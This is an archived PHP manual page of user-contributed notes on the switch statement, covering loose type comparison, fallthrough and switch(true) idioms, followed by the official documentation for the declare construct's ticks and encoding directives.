Ukuser 01-Aug-2009 04:48
Again, just to re-iterate, if you supply 0 as the switched element, only the first statement will run if the comparison is with text.

<?php

$in = array('first',0,"second");

foreach ($in as $a){
  switch ($a){
    case "first": print "first<br>"; break;
    case "second": print "second<br>"; break;
  }
}

?>

This is annoying if you're using an array where you've got key's which could be text or numbers, so I'm using the suggested idea of:

<?php

switch (true){
  case ($a==="first"): print "first<br>"; break;
  case ($a==="second"): print "second<br>"; break;
}

?>

The reason for this as mentioned on http://uk3.php.net/ternary is that: "If you compare an integer with a string, the string is converted to a number. If you compare two numerical strings, they are compared as integers. These rules also apply to the switch statement." Effectively it's saying if ($a=="first") which becomes does ($a (0) == 0) which is yes.

In my example this mean't a date had a regular expression of an email applied to it which didnt help!
sedativchunk at gmail dot com 02-Feb-2009 06:22
Not sure if this has been posted or not, but I found the switch statement useful for finding ranges of data.

This script creates web 2.0 style links in different font sizes (popular on blogs) using a randomizer and switch statement. I used links from within a database for a mod I made for a Simple Machines forums, but this example uses arrays for links if you wanted to add your own custom links:
<?php
// Create set of links
$link = array();
$link[] = '<a href="whatever.html">page 1</a>';
$link[] = '<a href="whatever.html">page 2</a>';
$link[] = '<a href="whatever.html">page 3</a>';
$link[] = '<a href="whatever.html">page 4</a>';
$link[] = '<a href="whatever.html">page 5</a>';
$link[] = '<a href="whatever.html">page 6</a>';
$link[] = '<a href="whatever.html">page 7</a>';
$link[] = '<a href="whatever.html">page 8</a>';

// Create loop to display links
for($i = 0; $i < count($link); ++$i)
{
    // Create randomizer
    // Use switch statement to find font size
    $randomizer = rand(1,50);
    switch($randomizer)
    {
    case ($randomizer <= 20):
    $font_size = "11";
    break;

    case ($randomizer <= 30):
    $font_size = "16";
    break;

    case ($randomizer <= 40):
    $font_size = "18";
    break;

    case ($randomizer <= 50):
    $font_size = "20";
    break;
    }

    // Display the link
    echo '<span style="font-size: ' .$font_size. ';">' .$link[$i]. '</span>&nbsp;&nbsp;';

// Loop the next link
}
?>

Using this type of range randomizer is useful for game development and it can be useful on the web too, for things where you don't want to use a randomizer just for things like (1-5) where you wanted a more then likely result for one thing over another. The switch statement saves from writing spaghetti code if statements.
hamiltont at gmail dot com 02-Jan-2009 08:32
Example of default NOT included as the last item

<?php
switch(5) {
  case 1:
    echo "1";
    break;
  case 2:
  default:
    echo "2, default";
    break;
  case 3;
    echo "3";
    break;
}
?>

Outputs '2,default'

very useful if you want your cases to be presented in a logical order in the code (as in, not saying case 1, case 3, case 2/default) and your cases are very long so you do not want to repeat the entire case code at the bottom for the default

Hamy
Keil 09-Dec-2008 05:06
As follow-up to ben dot lancaster at holler dot co dot uk's post:

'continue' ends the switch, not the case, just as it would with any other flow control. Think of it as putting the execution pointer right before the ending accolade (that is, the }) because that is essentially what happens. In the case of a for loop, this would cause the iteration clause to execute, and if applicable, the loop to begin again. However, switches do not loop, which is why (as noted above, in the manual!) a continue statement essentially acts as a break when within a switch.
richard 10-Nov-2008 10:32
Just a word of warning about using switch don't try and compare variables that contain numbers with strings like so:

<?php
$i=0;

switch($i)
{
    case 'TEST': print "Test";break;
    case 0: print "0";break;
}
?>

The output will be: Test and not 0.
ben dot lancaster at holler dot co dot uk 17-Oct-2008 12:46
Following on from bensphpnetemail at supernaut dot org's post, it would seem that 'continue' doesn't really continue at all. Consider the following:

<?php
$foo = 'bar';
$bar = true;

switch($foo)
{
    case 'bar':
        if($bar)
        {
            continue;
        }
        echo '$bar is false';
        break;

    case 'bar':
    case 'foo':
        echo '$bar is true, or $foo is foo';
        break;

    default:
        echo "You shouldnt ever get here";
        break;
}

?>

I would expect the above to output "$bar is true, or $foo is foo", but it doesn't output anything. The continue statement acts as a break and stops evaluating the rest of the matching cases.

Instead, you should issue a 'break' statement conditionally to achieve the desired result.
mar dot czapla at gmail dot com 10-Oct-2008 11:17
<?php
    /* script 1  */
    $foo = "not a number";
    switch(false)
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number"

    /* script 2  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1])    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number" ( not 0 ! )

    /* script 3  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1]?$arr[1]:"1")    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;
    // will produce :
    // 1 if $arr[1] isn't set
    // 1 if $arr[1]=1
    // 2 if $arr[1]=2
    // 0 if none of above
?>
cretz 01-Oct-2008 02:56
Haven't seen it mentioned here, but at least in my version (PHP 5.2.5) and I'm sure all of PHP 5, the switch statement is a great way to check type safe enumerates that are otherwise missing in the PHP language. Example:

<?php

class WannabeEnum {
    /**
     * @var WannabeEnum
     */
    public static $FOO;
    /**
     * @var WannabeEnum
     */
    public static $BAR;
    /**
     * @var WannabeEnum
     */
    public static $FOOBAR;
    private $_ordinal;
    public function __construct($ordinal) {
        $this->_ordinal = $ordinal;
    }
}
WannabeEnum::$FOO = new WannabeEnum(1);
WannabeEnum::$BAR = new WannabeEnum(2);
WannabeEnum::$FOOBAR = new WannabeEnum(3);

function testSwitch(WannabeEnum $wannabeEnum) {
    switch($wannabeEnum) {
        case WannabeEnum::$FOO:
            echo('Foo!' . PHP_EOL);
            break;
        case WannabeEnum::$BAR:
            echo('Bar!' . PHP_EOL);
            break;
        default:
            echo('Default!' . PHP_EOL);
    }
}
testSwitch(WannabeEnum::$FOO);
testSwitch(WannabeEnum::$FOOBAR);
?>

Outputs:

Foo!
Default!

Don't forget it uses loose comparisons!
mmxg at shaw dot ca 01-Jul-2008 10:30
In reply to lko at netuse dot de

Just so others know whom may not, that's because PHP does automatic type conversion if a string is evaluated as an integer (it sees the 2 in '2string' so when compared like if ('2string' == 2), PHP sees if (2 == 2) ).

I just tested it, but if you go:

<?php

$string="2string";

switch($string)
{
    case (string) 1:
        echo "this is 1";
        break;
    case (string) 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The output will be "this is a string" and if you change $string to "2" it will again be "this is 2".

Just in case that may help anyone who may run into that problem.
lko at netuse dot de 07-Apr-2008 05:51
Attention if you have mixed types of value in one switch statemet it can make you some trouble

<?php

$string="2string";

switch($string)
{
    case 1:
        echo "this is 1";
        break;
    case 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The swich-statement will halt on 'case 2'

Answer: this is 2
Hayley Watson 24-Oct-2007 11:02
Something not mentioned in the documentation itself, and only touched on momentarily in these notes, is that the default: case need not be the last clause in the switch.
<?php
for($i=0; $i<8; ++$i)
{
    echo $i,"\t";
    switch($i)
    {
    case 1: echo "One"; break;
    case 2:
    default: echo "Thingy"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    }
    echo "\n";
}
?>
Outputs what you'd expect, namely
0       Thingy
1       One
2       Thingy
3       Three or Four
4       Three or Four
5       Five
6       Thingy
7       Thingy
with case 2 and the default both producing the same result ("Thingy"); strictly speaking, the case 2 clause is completely empty and control just falls straight through. The same result could have been achieved with
<?php
switch($i)
{
    case 1: echo "One"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    default: echo "Thingy"; break;
}
?>
But if "case 2" represented a fairly common case (other than "everything else"), then it would be better to declare it explicitly, not only because it saves time by not having to test EVERY other case first  (in the current example, PHP finds 'case 2' in the first switch in two tests, but in the second switch it has to make four tests before giving up and going with the default) but also because someone (perhaps yourself in a few months' time) will be reading the code and expecting to see it handled. Listing it explicitly aids comprehension
stever at ashomecare dot com 07-Sep-2007 06:11
Just a reminder: there may be easier ways to manipulate _long_ lists of data instead of using switches.

function getChineseZodiac($year){

  // Chinese Zodiac Animals
  $animals = Array
  (
    'Monkey',  // Years 0, 12, 1200, 2004...
    'Rooster',
    'Dog',
    'Boar',
    'Rat',
    'Ox',
    'Tiger',
    'Rabit',
    'Dragon',
    'Snake',
    'Horse',
    'Lamb'
  );

  // Number of animals and years in a calendar rotation
  $numAnimals = count($animals);

  // Years left until full rotation of calender
  $yearOffset= round($year) % $numAnimals;

  return $animals[$yearOffset];

}

Of course this is a really generic function, we're just finding how many years away from a full 12 year rotation the current year is.
juraj5 21-Jul-2007 09:00
In response to 'i luv spam',

when you enter 07, you tell PHP to interpret a number as an octal number (much like '0x' for hex numbers). Octal numbering system uses only 8 digits, i.e. 0-7. http://en.wikipedia.org/wiki/Octal

The number 8 does not exist in octal numbering system. The comparison works because the octal numbers 0 to 7 have identical counterparts in decimal system.

So, in order to get a number compared as decimal 8, you would have to enter 010 in the case.

BTW this behavior obviously isn't specific to switch, it's a part of PHP.

(I personally stumbled into this when trying to make my code nicely indented while declaring an array)
Drake 16-Jul-2007 07:51
Also,
 when using switch for mode selecting on websites like:

switch($_GET['mode']) {
  case "gallery":
    //code
  break;
  case "news":
    //code
  break;
  case "stuff":
    //code
  break;
  default, etc etc
}

Will NOT trigger the string == 0 bug, because $_GET automatically parse anything passed to them as strings.
(same applies for all browser variables: SESSION, POST etc)

so passing:
mode=0
into the address bar is the same as:
$_GET['mode'] = "0"; //not $_GET['mode'] = 0;

thought it may help.
2mareks (at) gmail (dot) com 30-Nov-2006 12:03
In reply to earlier comment, "switch"- I found this to be one of the best ways to interpret 'actions'. Simply create a new instance of Handler_action before including any content source files. This is a highly stripped version of the class.

The real one I created handles (and secures) input for $_GET and $_POST, creates a 'permission' array that only allows certain actions to be called by non-admins, and creates handy little diagnostic messages that can be displayed upon redirecting.

On that note, the beauty in this class really shines in the simple redirect. You wont be left with ugly URLs like, "http://www.domain.com/path/to/script.php?action=blah&var1=123". Rather, you will be left with something like "http://www.domain.com/path/to/script.php"- helps protect some of the site by not showing any vulnerabilities in URLs.

Also, this class keeps all actions organized neatly by directly passing $_GET vars to the actions through function parameters.

<?php
  class Handler_action {
    function __construct( ){
      //Add code here to secure attacks through $_GET or use $_POST
      $action = $_GET["action"];

      //$actions_index conventions:
      //'action_name' => array( 'arg1', 'arg2', 'etc', ['/redirect/to/path' | NULL ] )
      $actions_index = array(
        'create' => array( $_GET['newVar1'], $_GET['newVar2'], '/home.php' ),
        'edit' => array( $_GET['id'], $_GET['otherVar'], '/home.php' ),
        'delete' => array( $_GET['id'], '/other_script.php' )
      );

      if( $action && array_key_exists( $action, $actions_index ) ){
        $redirect_path = array_pop( $actions_index[$action] );
        call_user_func_array( array( &$this, $action ), $actions_index[$action] );
        if( $redirect_path )
          header( "Location: http://www.domain.com{$redirect_path}" );
      }
    }

    //being defining actions now
    function create( $new_var1, $new_var2 ){

      //code...

    }
    function edit( $id, $other_var ){

      //code...

    }
    function delete( $id ){

      //code...

    }
  }
?>
28-Oct-2006 12:29
I could have used a swich for this, but I found that using the array was much faster.

    $action = $_GET['action'];

    $pages = array
    (
      'edit'   => './edit.php',
      'search' => './search.php'
    );

    if(strlen($pages[$action]) > 0)
    {
      require $pages[$action];
    }
    else
    {
      require './default.php';
    }
sneskid at hotmail dot com 23-Oct-2006 01:38
In regard to what dohpaz at kennethpaul dot com wrote.

If you ever have time you may want to test out having a premade associative array with the required elements eaqualing the needed value. Then assign the value based on the array element.

in dohpaz's month example it would look like this:
<?php
$arr_month = array(
'January' => 1,
'February' => 2,
'March' => 3,
'April' => 4,
'May' => 5,
'June' => 6,
'July' => 7,
'August' => 8,
'September' => 9,
'October' => 10,
'November' => 11,
'December' => 12);
foreach($arr_month as $k => $v) {$arr_month[substr($k,0,3)] = $v;} // autogen a 3 letter version

//note that the overall size will be 23 because May will only exist once

$month = 'Jan';
$month = $arr_months[$month];
echo $month; // outputs: 1
?>

It beats a switch in this case.

I did some benchmarking.
The array system is faster than the switch system.

Here were my average time results of 1000 itterations of assigning the numeric value to the month.
The value was randomized between each itteration (this was not added to the benchmark value), so each method was simulated with various data to stress different points.

array:
'avg' => 1.09958648682E-6
switch:
'avg' => 4.32157516479E-6
switch (true):
'avg' => 6.90913200378E-6

Contrary to what dohpaz suggested I found that a normal switch was faster than a switch(true) version.

I repeated these test several times to take into acount server load variations. The ratios were always consistent.

The array way is notably faster.
scott at firefallpro dot com 22-Dec-2005 09:01
It's has already been mentioned indirectly in a few posts, but it is important to realize that switch statements evaluate each case with the "==" operator by default. This can lead to unexpected results when comparing strings to integers, because PHP will convert the string to an integer. In many cases this means a string can be equivalent to the integer 0.

Example:
<?php
$x = 0;

switch($x) {
case "a":
    echo "a";
    break;
case "b":
    echo "b";
    break;
default
    echo "default";
}
?>

The result will be an "a" echoed out. What PHP does in this instance, is once it realizes that it's attempting to compare string ("a") to an integer (0), it converts "a" into an integer which ends up satisfying the first case.

The rules for string conversion into integers is available at:
http://us3.php.net/manual/en/language.types.string.php

The easiest way to combat this issue is to force type comparison by using the "===" operator. This makes PHP forego the string to integer conversion.

Example:
<?php
switch(true) {
case $x === "a":
    echo "a";
    break;
case $x === "b":
    echo "b";
    break;
default
    echo "default";
}
?>

Or the switch input can be type-casted to always be a string, etc.

Also note that even though a conditional statement needs to be explicitly set in each case to gain expected behavior, the switch can still execute faster then an "ifelse" block because PHP will not continue to evaluate conditions once a case has been satisfied.
jonybd at yahoo dot com 28-Jun-2005 02:25
/*
    Have one value need to deal with currency
    - follow as example
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
    $v_BAL = $row[1]/10000;

    switch (TRUE){

        case ($v_BAL <= 0):            //less then 0 , -0
            echo $v_BAL;
        break;

        case ($v_BAL <= 10 AND $v_BAL >= 1):    //less then 10 and greater then 1
            echo $v_BAL;
        break;

        default:                //default
            echo $v_BAL;
        break;
    }
}
ant at loadtrax dot com 24-Mar-2005 06:01
This caught me out. The number '6' when compared with the string '6b' returns true. The solution is to either typecast the compare  -  ie, " switch ((string)$type): "  or to make sure $type is a string (eg $type="6")

<?
$type=6;
switch ($type):
    case "6b":
        print "6b: ";
        print $type;
    break;
    case "6":
        print "6: ";
        print $type;
    break;
endswitch;
?>
Bruno Feu 22-Mar-2005 10:22
You can solve the problem by just writing the following piece of code:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ($y * 4):
   case (9 * 3):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>
ach aat bitfabrik doot de 14-Mar-2005 12:21
So instead of writing the code shown below it would have to be like this:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ((($y * 4) || (9 * 3))?$x:false):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

So now the case expression contains an if statement in simplified notation which either returns the value of $x if the expression is true (so the case matches) or false, if the expression was false (so the case does not match).
Be aware that it only works if $x never actually is "false" because then it would match in either case. So the "false" in the above code should always be any random value which is not a possible value for $x.
gregory dot mccoy at pleasedontspam dot cafeoui dot net 13-Mar-2005 06:07
In the post:
----------------------------------------------------
design at hyperoptix dot com
18-Feb-2004 12:46
Boolean logic does not work inside case statements:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

echoes "Member".
----------------------------------------------------
there were many responses but all seem to miss the point.  You cannot mix apples and oranges.  The "switch($x)" establishes that this "switch" statement will be a Relational syntax while the "case" qualifier uses a Logical syntax.  There must be a match.  Either change "switch($x)" to "switch(true)" or change "case(($y * 4) || (9 * 3)):" to resolve to a value.

The syntax of the original post is like a cop that says, "I want all of your answers to reflect truth.  So, are you eighteen?"  The respondent says, " 4 x 4 or 11 + 5".  Need I say more?
Derek Ethier 22-Dec-2004 08:43
A word of caution around the order used for the case/default controls.  I notice that a lot of people do not break; the default section and the following could lead to incorrect results when run.

$a = "lowercase";

switch ( $a ) {
  default:
    $a = strtoupper( $a );
    print $a . "<br />";

  case ( 'LOWERCASE' ):
    print $a . "<br />";
    break;
}

Result:
LOWERCASE
LOWERCASE

Placing a break; in the default control will result in:
LOWERCASE

.. as expected.  Also, placing the default section at the bottom (as in an else control) will also display the correct result.
Bachsau 20-Dec-2004 01:52
Be carefull: If you want to test the return of a function, you have to use switch, because if you use 'if' and 'ifelse', your function will be executed every time again.

For example if use use the following construct:

if(file_get_contents('file.htm', 0) == 'typ1') {
     // Do one thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ2') {
     // Do the second thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ3') {
     // Do the third thing
}

The file will be requested 3 times!!!

If you use the following:

switch (file_get_contents('file.htm', 0)) {
     case 'typ1': // Do one thing
     break;
     case 'typ2': // Do the second thing
     break;
     case 'typ3': // Do the third thing
}

The file will be requested only once!!!
manicdepressive at mindless dot com 22-Apr-2004 01:43
Be careful if distinguishing between NULL and (int)0.  As implied in the above documentation, the case statements are equivalent to the '==' operator, not the '===' operator, so the following code did not work as i expected:

<?php
$mixed = 0;
switch($mixed){
   case NULL: echo "NULL";  break;
   case 0: echo "zero";  break;
   default: echo "other"; break;
}
?>

Instead, I may use a chain of else-ifs.  (On this page, kriek at jonkreik dot com states that "in most cases [a switch statement] is 15% faster [than an else-if chain]" but jemore at m6net dotdot fr claims that when using ===, if/elseif/elseif can be 2 times faster than a switch().)

Alternatively, if i prefer the appearance of the switch() statement I may use a trick like the one nospam at please dot com presents:

<?php
$mixed = 0;
switch(TRUE){
   case (NULL===$mixed): //blah break;
   case (0   ===$mixed): //etc. break;
}
?>

code till dawn! mark meves!
ezekiel at superquenelles dot com 25-Mar-2004 02:40
In reply to Alex Fung :
The following code doesn't work :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

Why :
<design at hyperoptix dot com> want to test if $x == $y*4 or $x == 9*3 ($x == (($y*4)||(9*3))
However the case statement evaluate the value of (($y*4)||(9*3)) that is always true because 9*3=27 (!=0)
That's why this code always return true when $x != 0.
The correct code would be :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4)):
   case ((9*3)):
        echo "Member";
        break;
   default:
       echo "Not a member";
}
?>

Boolean logic work inside case statement, you just need to know that the expression in the case statement is first evaluated then compared with the evaluated value in the switch statement.
php dot net dot 1 at yogelements dot com 20-Jan-2004 07:39
Declaring a variable (actually an array) as static w/in a switch{} spun my wool for a while:
don't:
<?
function ss() {
    switch ("bug") {
        case "bug" :
           static $test = "xyz";
           break;
        default :
           static $test = "abc";
    }
 echo $test;
}
ss(); //abc
?>
do:
<?
function tt() {
    static $test;
    switch ("fix") {
        case "fix" :
           $test = "xyz";
           break;
        default :
           $test = "abc";
    }
 echo $test;
}
tt(); // xyz
?>
gmgiles at pacbell dot net 19-Jan-2004 10:07
Did you know that switch() and case() can also accomodate things like basic math calculations and counter incrementing? They do. In this example, I use a switch statement (which is inside of a while loop) to alternate the background color of a table row. It gives me a cool spool-printer-paper effect.

<?php
$rows_per_color = 5;  // change bgcolor every 5 rows
switch($ctr++) {
    case 0:
        $bgcolor = "#ffffff";
        break;
    case ($rows_per_color):
        $bgcolor = "#ff0000";
        break;
    case ($rows_per_color * 2):
        $bgcolor = "#ffffff";
        $ctr = 1;
        break;
}
?>

As you can see, I increment $ctr by 1 in the switch() itself, and the final case() does a simple calculation. Simple, but powerful. [Remember, the above example is inside of a while() loop... each time it iterates, switch increments $ctr.]
phpmanual at nos-pam dot sadlittleboy dot com 10-Jan-2004 02:32
Regarding bishop's comment below, although using:
   switch($bug === 0 ? '' : $bug) {
may work, ( and although I do like the ternary operator, :) it might be more intuitive/readable to use this instead:
   switch( (string)$bug ) {
which typecasts the variable to a string to ensure that "0" will be handled correctly.
jon 08-Dec-2003 09:48
In response to the entry by "kriek at jonkriek dot com", I think you would probably be better of doing this:
<?php
    // ensure $_GET['go'] is set, an integer, and not 0
    // then, set nav number; default to 1
    $nav = ( isset($_GET['go']) && (intval($_GET['go']) == $_GET['go']) && $_GET['go'] ) ?
        intval($_GET['go']) : 1;

    // format navigation string and include
    include(sprintf("Page%02d.php",$nav));
?>

... as oppposed to the switch setup you recommended, which is limited to the number of cases you specify...
havar at henriksen dot nu 14-Sep-2003 10:54
Remember, that you also could use functions in a switch.
For example, if you need to use regular expressions in a switch:

<?php
$browserName = 'mozilla';
switch ($browserName) {
  case 'opera':
    echo 'opera';
  break;
  case (preg_match("/Mozilla( Firebird)?|phoenix/i", $browserName)?$browserName:!$browserName):
    echo "Mozilla or Mozilla Firebird";
  break;
  case 'konqueror':
    echo 'Konqueror';
  break;
  default:
    echo 'Default';
  break;
}
?>

or you could just use a regular expression for everything:

<?php
$uri = 'http://www.example.com';
switch (true) {
  case preg_match("/$http(s)?/i", $uri, $matches):
    echo $uri . ' is an http/https uri...';
  break;
  case preg_match("/$ftp(s)?/i", $uri, $matches):
    echo $uri . ' is an ftp/ftps uri...';
  break;
  default:
    echo 'default';
  break;
}
?>
(cgibbard) student math uwaterloo ca 10-Aug-2003 11:30
Just in reply to the comment about 2 digit numbers: something octal certainly is going on. Integer literals prefixed with a "0", like in C and several other languages, are treated as octal. Similarly, integer literals prefixed with "0x" are treated as hexadecimal. Seeing as this is the case, 08 and 09 are not valid integer literals. It turns out that php treats them as 0 (it would probably be better to fail with an error message, but it doesn't). Bottom line? Don't prefix numbers with 0 in code unless you mean octal. Format them as you print them with printf, like so: printf("%02u", $my_unsigned_int); or if you will, use sprintf to get a string representation rather than printing on stdout.
bishop 14-Jul-2003 09:26
As jason at devnetwork dot net and others have pointed out, using switch() when you wish to compare against strings can be dangerous:

<?php
$bug = 0;
switch ($bug) {
    case 'fly':
        echo 'flies buzz';
        break;

    case 'mantis':
        echo 'mantes pray';
        break;

    default:
        echo 'swat, splat, you are dead';
        break;
}
?>

Will print "flies buzz", NOT "swat, splat, you are dead".
Remember PHP says that 'fly' == 0, or in general string == 0 is true.

Anyway, avoid that with:

<?php
$bug = 0;
switch ($bug === 0 ? '' : $bug) {
    case 'fly':
        echo 'flies buzz';
        break;

    case 'mantis':
        echo 'mantes pray';
        break;

    default:
        echo 'swat, splat, you are dead';
        break;
}
?>

Prints out what you expect:

Swat
Splat
You are dead

P.S.: that's an empty string (single quote single quote), not a spurious double quote.
shawn at evilest dot net 04-May-2003 11:50
You can also nest switch statements inside case statements:

<?php
   // Set argument handlers
    $argv = explode(",", urldecode(getenv('QUERY_STRING')));
    $argc = array_shift($argv);
    $argd = array_shift($argv);
    $arge = array_shift($argv);
?>

   // Begin switching

<?php
    switch ($argc) {
        case 'home': {
             print('This is $argc, home case.');
            break;
        }
        case 'subsection': {
                switch ($argd) {
                     case 'links': {
                            switch($arge) {
                                case 'display': {
                                print('This is $arge, subsection,links,display case.');
                                break;
                                }
                           }
                    }
                }
        }
    }
?>
i luv spam 25-Apr-2003 08:46
Noticed some odd switch behavior worth mentioning:

Switching on a variable set as $var="08" and forgetting the quotes within the case results in different behavior depending on the two digit number the variable is set to.

For "01" to "07", using a case like
  case 01:
the case is triggered.

For "08" or "09" the case is skipped.

For "10" to "12" the case is triggered.

Looks like something octal may be going on.

Anyway, not a problem once the case is changed to:
  case "08":
as it should have been from the start.  Just odd.
jason at devnetwork dot net 24-Mar-2003 11:51
It should be pointed out that this:

<?php

$var = 0;

switch ( $var )
{
    case "something":
        $foo = "Broken";
        break;
    default:
        $foo = "Okay";
        break;
}

echo $foo;

?>

Will print out "Broken".  It's not broken, because in PHP, when an Integer and a String are compared, the string is == 0.  So 0 == "something".  However, this is not apparent.  switch() does not do type checking.
rmunn at pobox dot com 23-Jan-2003 08:21
In answer to njones at fredesign dot com, what you're seeing is the way the switch statement is supposed to work. The switch statement evaluates the cases, top to bottom, until it finds the first one that matches the value being switch()ed on. So, for example, if you had:

<?php
switch(2) {
case 1: echo "One\n"; break;
case 2: echo "Two\n"; break;
case 3: echo "Three\n"; break;
case 2: echo "Two again\n"; break;
}
?>

Only "Two" would get echoed. "Two again" would NOT get echoed, because once the first case matches, the rest of them do NOT get evaluated. As soon as a matching case is found, the statements starting at that case get executed until the first break, then control flows out the bottom of the switch block.
theonly dot mcseven at gmx dot net 19-Jan-2003 05:44
working a bit around with it I found out that it is not possible to
compare the variable with two different values in one step like this
(system running a w2k server, apache2.0.43 & php430):

<?php
switch ($myvar) {
 case ("foo" || "bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>

rather use:

<?php
switch ($myvar) {
 case ("foo"):
 case ("bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>
chernyshevsky at hotmail dot com 28-May-2002 12:45
Be very careful when you're using text strings as cases. If the variable supplied to switch() is an integer, the cases would be converted to integer before the comparison is made (usually to zero). The following snippet prints "hello".

<?php
$a = 0;
switch($a) {
 case 'Hello': echo "Hello";
 break;
 }
?>
paz at spiralon dot com 16-May-2002 04:44
In case : ) it helps someone, I was able to clean up some hairball code by using nested switches (didn't see it mentioned here).  Thanks to all those who are writing examples - I love this site!

<?php
$string_match="second";
switch ($string_match) {
case "first":
case "second":
case "third":
    print "<H3>Something for all three</H3><br>";
    switch ($string_match) {
      case "first":
      print "something for first only";
      break;
      case "second":
      case "third":
      print "something for the other two";
      break;
    }
break;
default:
print "<H3>no match</H3>";
}
?>
gray dot quinn at catch-e dot com dot au 22-Mar-2002 07:00
To get the conditional statement to work for the above example use this:

<?php
$chr = substr($a,$i,1);
switch (TRUE) {

case $chr == "á" || $chr == "à" || $chr == "ã" || $chr == "â":
$a = str_replace(substr($a,$i,1),"a",$a);
break;

case $chr == "é" || $chr == "è" || $chr == "ê":
$a = str_replace(substr($a,$i,1),"e",$a);
break;
?>

}
PeterC at (spamme)rm-rfsplat dot com 06-Feb-2002 09:55
Along the lines of using expressions in switch statements.  I came across some code which wrapped switch statements in 'if' blocks like so...
if (isset($var) {
    switch($var) {
        ....

But I found the following a little cleaner.

switch ( isset($var) ? $var : defaultValue ) {
...
x@x 25-Jul-2001 11:29
often you will have to perform multiple actions in sequence, but this sequence must be broken once one of them detects a stop condition (such as an error, when validating form request variables).
One way is to use:

if (check1()
&& check2()
&& check3()
) valid();
else error();

But when the sequence is long and must reordered, this can be errorprone because not all line of check have the same syntax (imagine that you want to comment one of them).

Another way is to rewrite it as:

check1() and
check2() and
check3() and
...
valid() or
error();

The above syntax does not fit well when the valid() code must be several statements.
An alternative syntax can be:

switch (false) {
case check1():
case check2():
case check3():
  error();
  break;
default:
  valid();
}

This last equivalent sample show you that each case expressions is evaluated, until one of them evaluates to a value equal (==) to the switch expression. Above, the error() code will only be called if one of the check evaluates to false. And the valid() code will only be evaluated only if the switch reach the default, which means that none of the above check returned false...
bensphpnetemail at supernaut dot org 29-Jun-2001 08:14
It's obvious, but might still bear explicit mention that you can conditionally execute the BREAK statement in order to allow a CASE to fall through to the next CASE.

e.g.:-> Here, CASE 1 will fall through and the DEFAULT CASE statements will also be executed unless $somevar is true.

<?php
switch ($i) {
    case 0:
        print "i equals 0";
        break;
    case 1:
        print "i equals 1";
        if ($somevar) {
             break;
             }
    default;
       echo 'Some Default Statements';
        break;
}
?>

Cheers,
Ben Nardone
nospam at please dot com 15-Nov-2000 02:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}


declare

(PHP 4, PHP 5)

The declare construct is used to set execution directives for a block of code. The syntax of declare is similar to the syntax of other flow control constructs:

declare (directive)
    statement

The directive section allows the behavior of the declare block to be set. Currently only two directives are recognized: the ticks directive (See below for more information on the ticks directive) and the encoding directive (See below for more information on the encoding directive).

Note: The encoding directive was added in PHP 5.3.0

As directives are handled as the file is being compiled, only literals may be given as directive values. Variables and constants cannot be used. To illustrate:

<?php
// This is valid:
declare(ticks=1);

// This is invalid:
const TICK_VALUE = 1;
declare(ticks=TICK_VALUE);
?>

The statement part of the declare block will be executed - how it is executed and what side effects occur during execution may depend on the directive set in the directive block.

The declare construct can also be used in the global scope, affecting all code following it (however if the file with declare was included then it does not affect the parent file).

<?php
// these are the same:

// you can use this:
declare(ticks=1) {
    // entire script here
}

// or you can use this:
declare(ticks=1);
// entire script here
?>

Ticks

A tick is an event that occurs for every N low-level tickable statements executed by the parser within the declare block. The value for N is specified using ticks=N within the declare block's directive section.

Not all statements are tickable. Typically, condition expressions and argument expressions are not tickable.

The event(s) that occur on each tick are specified using the register_tick_function(). See the example below for more details. Note that more than one event can occur for each tick.

Example #1 Tick usage example

<?php

declare(ticks=1);

// A function called on each tick event
function tick_handler()
{
    echo "tick_handler() called\n";
}

register_tick_function('tick_handler');

$a = 1;

if ($a > 0) {
    $a += 2;
    print($a);
}

?>

Example #2 Ticks usage example

<?php

function tick_handler()
{
  echo "tick_handler() called\n";
}

$a = 1;
tick_handler();

if ($a > 0) {
    $a += 2;
    tick_handler();
    print($a);
    tick_handler();
}
tick_handler();

?>

See also register_tick_function() and unregister_tick_function().

Encoding

A script's encoding can be specified per-script using the encoding directive.

Example #3 Declaring an encoding for the script.

<?php
declare(encoding='ISO-8859-1');
// code here
?>

Caution

When combined with namespaces, the only legal syntax for declare is declare(encoding='...'); where ... is the encoding value. declare(encoding='...') {} will result in a parse error when combined with namespaces.

The encoding declare value is ignored in PHP 5.3 unless php is compiled with --enable-zend-multibyte.

Note that PHP does not expose whether --enable-zend-multibyte was used to compile PHP other than by phpinfo().

See also zend.script_encoding.

User Contributed Notes

php at niekbosch dot nl 19-Feb-2014 01:17
Basically 'declare( encoding = .... );' overrides the zend.script_encoding configuration option (as set in php.ini). However, keep in mind that:

